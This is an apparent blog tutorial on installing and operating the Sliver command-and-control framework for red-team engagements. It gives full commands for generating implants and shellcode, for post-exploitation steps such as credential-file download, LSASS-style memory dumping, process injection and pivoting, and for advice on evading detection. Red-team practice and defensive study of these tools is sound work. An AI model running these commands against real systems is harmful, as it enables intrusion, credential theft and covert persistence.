Sliver is an open-source C2 framework built by BishopFox. It was designed to replace Cobalt Strike for red teams who can’t or won’t pay $5,000+ per year. Since its release, it’s become one of the most serious alternatives — used by actual red teams, not just CTF players.
This guide covers everything: installation, server setup, operator sessions, generating implants, running post-exploitation, and avoiding the common mistakes that get you caught.
If you haven’t read the C2 frameworks comparison , start there to understand where Sliver sits relative to Cobalt Strike and Havoc.
Why Sliver
Three reasons Sliver stands out:
- Free and open source. No licensing, no per-seat cost, no activation issues on engagements.
- Mature codebase. BishopFox built this for real ops. The feature set covers most of what red teams actually need.
- Go-based implants. Compiles to standalone binaries for Windows, Linux, and macOS. No .NET dependency, no PowerShell footprint.
It supports HTTP/S, DNS, WireGuard, and mTLS listeners. Implants can be beaconed (staged) or persistent sessions. The operator model lets multiple red teamers work the same server simultaneously.
Lab Setup
You need a VPS for a real C2 setup. Running Sliver from your laptop during an engagement is asking for attribution. Separate infrastructure matters.
Vultr and DigitalOcean both work well for this. A $6/month instance running Ubuntu 22.04 is enough to start. Keep it isolated from your personal infrastructure.
👉 Spin up a VPS on Vultr
— deploy in under a minute
👉 DigitalOcean Droplets
— reliable, $4/month for basic setup
For this guide: Ubuntu 22.04 server, clean install.
Step 1 — Install Sliver Server
Download the latest release
curl -s https://api.github.com/repos/BishopFoxSec/sliver/releases/latest \
| grep "browser_download_url.*linux" \
| grep -v sha256 \
| cut -d'"' -f4 \
| wget -qi -
Or download directly from the Sliver releases page .
# Rename and make executable
chmod +x sliver-server_linux
sudo mv sliver-server_linux /usr/local/bin/sliver-server
# Same for the client
chmod +x sliver-client_linux
sudo mv sliver-client_linux /usr/local/bin/sliver
First run — generate certs and configs
sudo sliver-server
On first launch Sliver generates:
- Server certificates (mTLS)
- Default operator config
- SQLite database at
~/.sliver/
You’ll drop into the Sliver server shell. Exit with exit for now.
Run as a service
sudo sliver-server daemon &
Or install it as a systemd service for persistence:
sudo sliver-server unpack --force
sudo systemctl enable sliver
sudo systemctl start sliver
Step 2 — Operator Setup (Multi-User)
Sliver uses mutual TLS for operator connections. Each operator gets a config file that includes their certificate.
Generate an operator config
sudo sliver-server operator --name operator1 --lhost YOUR_SERVER_IP --save /tmp/operator1.cfg
Transfer that .cfg file to your operator machine (your attack box, not the C2 server).
Import the operator config (on attack box)
sliver import /path/to/operator1.cfg
Connect to the server
sliver
You’ll see the Sliver banner and the server info. You’re now controlling the C2 remotely via mTLS — no SSH required during ops.
Step 3 — Start Listeners
Listeners are how implants call home. Start with HTTPS — it’s the most reliable through egress filtering.
HTTPS listener
[server] sliver > https --lhost 0.0.0.0 --lport 443
Check active jobs:
[server] sliver > jobs
DNS listener (for restricted environments)
DNS C2 is slower but bypasses most proxy-based egress controls:
[server] sliver > dns --domains c2.yourdomain.com
For DNS C2 to work, you need:
- An A record pointing your domain to your server IP
- An NS record for a subdomain (e.g.,
ns1.yourdomain.com) pointing to your server
WireGuard listener (operator-to-implant tunnel)
[server] sliver > wg-listener
WireGuard is useful for tunneling traffic through implants without the overhead of HTTP. Less common but available.
Step 4 — Generate Implants
Sliver generates two types: sessions (interactive, always-on) and beacons (sleep + jitter, more OPSEC-friendly).
Use sessions for initial testing. Use beacons for real engagements.
Generate a Windows beacon (HTTPS)
[server] sliver > generate beacon \
--http YOUR_SERVER_IP:443 \
--os windows \
--arch amd64 \
--format exe \
--sleep 30 \
--jitter 15 \
--save /tmp/beacon.exe
Key flags:
--sleep— seconds between callbacks--jitter— randomness added to sleep (makes timing analysis harder)--format— exe, dll, shellcode, service
Generate a Linux session implant
[server] sliver > generate \
--http YOUR_SERVER_IP:443 \
--os linux \
--arch amd64 \
--format elf \
--save /tmp/implant
Generate shellcode for injection
[server] sliver > generate \
--http YOUR_SERVER_IP:443 \
--os windows \
--arch amd64 \
--format shellcode \
--save /tmp/payload.bin
Shellcode output is useful when you need to inject into a running process rather than drop a binary.
Step 5 — Implant Management
Check active beacons
[server] sliver > beacons
Check active sessions
[server] sliver > sessions
Interact with a beacon
[server] sliver > use <beacon-id>
[beacon] sliver >
With a beacon, commands are queued and executed on next checkin. You won’t get instant output — that’s the tradeoff for better OPSEC.
Interact with a session
Sessions are interactive — commands execute immediately:
[server] sliver > use <session-id>
[session] sliver > whoami
[session] sliver > pwd
[session] sliver > ls
Step 6 — Core Post-Exploitation Commands
Recon
# System info
[beacon] sliver > info
# Running processes
[beacon] sliver > ps
# Network connections
[beacon] sliver > netstat
# Current user + privileges
[beacon] sliver > getuid
[beacon] sliver > getgid
[beacon] sliver > getpid
File operations
# List directory
[beacon] sliver > ls C:\\Users\\
# Download a file
[beacon] sliver > download C:\\Users\\target\\Documents\\creds.txt /tmp/creds.txt
# Upload a file
[beacon] sliver > upload /tmp/tool.exe C:\\Windows\\Temp\\tool.exe
# Execute a file
[beacon] sliver > execute -t 30 C:\\Windows\\Temp\\tool.exe
Shell access
# Interactive shell (session only — not available on beacon without task)
[session] sliver > shell
# Execute a command and get output
[beacon] sliver > execute -o cmd.exe /c whoami /all
Screenshot
[beacon] sliver > screenshot
Output saves to your local machine automatically.
Step 7 — Pivoting and Tunneling
Sliver has solid built-in pivoting capabilities.
SOCKS5 proxy through implant
[session] sliver > socks5 start --host 127.0.0.1 --port 1080
Now route tools through the implant:
# On your attack box
proxychains nmap -sT -Pn -p 445,3389 10.10.10.0/24
Port forward
# Forward local port 8080 to internal target:80
[session] sliver > portfwd add --remote 10.10.10.50:80 --local 127.0.0.1:8080
WireGuard tunnel (full network pivot)
[session] sliver > wg-portfwd add --remote 10.10.10.50:3389 --local 127.0.0.1:13389
WireGuard-based pivots give you a real network tunnel through the implant — more flexible than SOCKS for certain tools.
Step 8 — In-Memory Execution (Avoiding Disk)
Dropping binaries to disk is noisy. Sliver gives you options to execute in-memory.
Execute assembly (C# in-memory)
[beacon] sliver > execute-assembly /path/to/SharpHound.exe -c all
This loads the .NET assembly into memory using the Sliver execute-assembly BOF. No file hits disk on the target.
Sideload a shared library
[beacon] sliver > sideload /path/to/evil.dll
Execute shellcode in a remote process
[beacon] sliver > inject --pid 1234 --shellcode /path/to/payload.bin
Inject into an existing process to avoid spawning a new one. Pick a process that’s expected to have network traffic.
Step 9 — Armory (Extensions and BOFs)
Sliver has an armory system for loading BOFs (Beacon Object Files) and extensions.
Install armory
[server] sliver > armory install all
This installs the official extensions including:
- SharpHound (AD enumeration)
- Rubeus (Kerberos attacks)
- Certify (AD CS enumeration)
- Various recon and post-ex tools
Run a BOF
[beacon] sliver > bof whoami
[beacon] sliver > bof nanodump --pid 640 --write C:\\Windows\\Temp\\dump.dmp
BOFs execute within the implant process via a mini C runtime — no new process, minimal footprint.
List installed extensions
[server] sliver > armory
Step 10 — OPSEC Considerations
Sliver out of the box is detectable. Default configurations hit known signatures.
Change the default C2 profile
The default HTTP C2 profile sends recognizable headers. Customize it:
# Edit the HTTP C2 config
~/.sliver/configs/http-c2.json
Key fields to change:
- User-Agent strings
- URL paths and parameters
- Header order and values
Make your C2 traffic look like legitimate application traffic — browser-like headers, realistic URL structures.
Use a redirector
Don’t expose your Sliver server directly. Put a redirector (Apache mod_rewrite, Nginx, Caddy) in front of it. If the redirector gets burned, your backend stays clean.
Basic Nginx redirector config:
location / {
proxy_pass https://YOUR_BACKEND_C2:443;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
For a full redirector setup guide, see Red Team C2 Infrastructure: Redirectors Setup .
Sleep and jitter
Always use beacons in production. Sessions with constant callbacks are trivial to detect on a long engagement:
generate beacon --sleep 300 --jitter 60 # 5-min sleep, 1-min jitter
Process injection target selection
Don’t inject into notepad.exe. Pick processes that legitimately have network connections: explorer.exe, chrome.exe, svchost.exe (matching the right service context).
Sliver vs Cobalt Strike vs Havoc
| Feature | Sliver | Cobalt Strike | Havoc |
|---|---|---|---|
| Cost | Free | ~$5,000/yr | Free |
| Maturity | High | Very High | Medium |
| BOF Support | Yes | Yes | Yes |
| Malleable C2 | Partial | Full | Partial |
| Multi-operator | Yes | Yes | Yes |
| GUI | No (CLI) | Yes | Yes |
| Go implants | Yes | No | No (.NET) |
| Active development | Yes | Yes | Yes |
Sliver wins on cost and portability. Cobalt Strike still leads on malleable C2 depth. Havoc has a cleaner UI but is less mature.
For a detailed breakdown, see the C2 frameworks comparison guide .
Troubleshooting
Implant not connecting back
- Check that your listener is running:
jobs - Check firewall:
ufw status— port 443 must be open - Check the server IP in the implant matches your actual server IP
- Test reachability:
curl -k https://YOUR_SERVER_IP:443from the target network
mTLS connection refused
The operator config includes the server’s certificate. If the server was reinstalled or certificates regenerated, you need a new operator config.
Beacon tasks not executing
Beacons only run tasks on checkin. If sleep is 300 seconds, wait. If it’s been multiple intervals, check if the implant process is still running on the target.
Build errors
Sliver needs Go to compile implants. On the server:
apt install golang-go
# Or use the bundled Go in Sliver's release package
Next Steps
Sliver covers the basics well. Where to go from here:
- Havoc C2 Framework Guide — Compare the workflow to Sliver
- Red Team C2 Infrastructure: Redirectors Setup — Build proper infrastructure around Sliver
- Active Directory Lateral Movement Playbook — Use Sliver implants for AD attacks
- DCSync Attack Guide — Credential dumping via Sliver + Mimikatz
For practice in a safe environment, spin up a lab on a VPS:
👉 Vultr — deploy Ubuntu in 60 seconds
👉 DigitalOcean — $4/month Droplets
Need a Professional Red Team Report?
If you’re running ops and need client-ready deliverables, CipherWrite handles red team reports, pentest writeups, and executive summaries — written by practitioners, not template-fillers.
